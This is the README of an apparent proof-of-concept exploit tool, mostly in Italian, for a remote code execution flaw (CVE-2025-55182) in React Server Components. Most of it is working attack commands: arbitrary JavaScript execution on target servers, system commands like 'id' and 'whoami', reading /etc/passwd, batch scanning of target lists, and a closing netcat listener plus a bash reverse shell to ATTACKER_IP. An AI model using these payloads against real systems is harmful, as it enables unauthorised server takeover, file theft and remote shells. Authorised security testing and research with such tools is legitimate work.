
POC React2Shell-CVE-2025-55182
____ _____ _ ____ _____ ____ ____ _ _ _____ _ _
| _ \| ____| / \ / ___|_ _|___ \/ ___|| | | | ____| | | |
| |_) | _| / _ \| | | | __) \___ \| |_| | _| | | |
| _ <| |___ / ___ \ |___ | | / __/ ___) | _ | |___| |___| |___
|_| \_\_____/_/ \_\____| |_| |_____|____/|_| |_|_____|_____|_____|
[ CVE-2025-55182 ]
Scanner di Remote Code Execution per React Server Components (RSC)
| Ruolo | Nome | Link |
|---|
| Ricerca originale | Lachlan Davidson | github.com/lachlan2k |
Basato sul PoC originale: React2Shell-CVE-2025-55182-original-poc
React2Shell è uno scanner di sicurezza completo per CVE-2025-55182, una vulnerabilità critica di Remote Code Execution (RCE) che colpisce le implementazioni di React Server Components (RSC). Questa vulnerabilità consente ad attaccanti non autenticati di eseguire codice JavaScript arbitrario sul server tramite deserializzazione non sicura nel protocollo React Flight.
# Clone the repository
git clone https://github.com/Shadowroot97/POC-React2Shell-CVE-2025-55182.git
cd POC-React2Shell-CVE-2025-55182
# Install dependencies
pip install requests
# Run the scanner
python3 exploit_cve_2025_55182_v2.py -h
usage: exploit_cve_2025_55182_v2.py [-h] [-t TARGET] [-f FILE] [-m {version,verify,custom}]
[--js JS] [--extract] [--sleep SECONDS]
[--callback URL] [--dns DOMAIN] [-v]
[--no-color] [--timeout TIMEOUT]
| Parametro | Descrizione |
|---|---|
-t, --target | URL di destinazione (es., https://example.com) |
-f, --file | File contenente un elenco di URL (uno per riga) per la scansione batch |
-m, --mode | Modalità di scansione: version (predefinita), verify o custom |
--js | Codice JavaScript per la modalità custom |
--extract | Estrai il risultato stringa carattere per carattere |
--sleep SECONDS | Verifica RCE basata sul tempo (modalità verify) |
--callback URL | URL di callback HTTP per test OOB (modalità verify) |
--dns DOMAIN | Dominio di callback DNS per test OOB (modalità verify) |
-v, --verbose | Output verboso con i dettagli del payload |
--no-color | Disabilita l'output colorato |
--timeout SECONDS | Timeout della richiesta HTTP (predefinito: 30) |
Rileva passivamente le versioni vulnerabili di React e dei framework:
python3 exploit_cve_2025_55182_v2.py -t https://target.com
-m verify)Conferma attivamente la RCE utilizzando più tecniche e tutte e 4 le varianti di payload:
# Basic verification (digest variation)
python3 exploit_cve_2025_55182_v2.py -t https://target.com -m verify
# With time-based verification
python3 exploit_cve_2025_55182_v2.py -t https://target.com -m verify --sleep 5
# With OOB callback (Burp Collaborator)
python3 exploit_cve_2025_55182_v2.py -t https://target.com -m verify --callback abc123.oastify.com
# Full verification with verbose output
python3 exploit_cve_2025_55182_v2.py -t https://target.com -m verify \
--sleep 5 --callback abc123.oastify.com --dns abc123.oastify.com -v
-m custom)Esegui payload JavaScript arbitrari:
# Get Node.js version
python3 exploit_cve_2025_55182_v2.py -t https://target.com -m custom \
--js "process.version" --extract
# Execute system command
python3 exploit_cve_2025_55182_v2.py -t https://target.com -m custom \
--js "require('child_process').execSync('id').toString()" --extract
# Read file
python3 exploit_cve_2025_55182_v2.py -t https://target.com -m custom \
--js "require('fs').readFileSync('/etc/passwd','utf8')" --extract
-f)Scansiona più URL da un file e mostra solo i target vulnerabili:
python3 exploit_cve_2025_55182_v2.py -f targets.txt
# Version detection (default mode)
python3 exploit_cve_2025_55182_v2.py -t https://target.com
# RCE verification
python3 exploit_cve_2025_55182_v2.py -t https://target.com -m verify
# Batch scan multiple targets
python3 exploit_cve_2025_55182_v2.py -f targets.txt
# Verbose output
python3 exploit_cve_2025_55182_v2.py -t https://target.com -m verify -v
# Time-based + OOB verification
python3 exploit_cve_2025_55182_v2.py -t https://target.com -m verify \
--sleep 5 --callback your-id.oastify.com
# Extract server info
python3 exploit_cve_2025_55182_v2.py -t https://target.com -m custom \
--js "process.version" --extract
# Execute command
python3 exploit_cve_2025_55182_v2.py -t https://target.com -m custom \
--js "require('child_process').execSync('whoami').toString()" --extract
# Start listener
nc -lvnp 443
# Execute reverse shell
python3 exploit_cve_2025_55182_v2.py -t https://target.com -m custom \
--js "process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1\"')"
Questo strumento è fornito esclusivamente per test di sicurezza autorizzati e scopi educativi.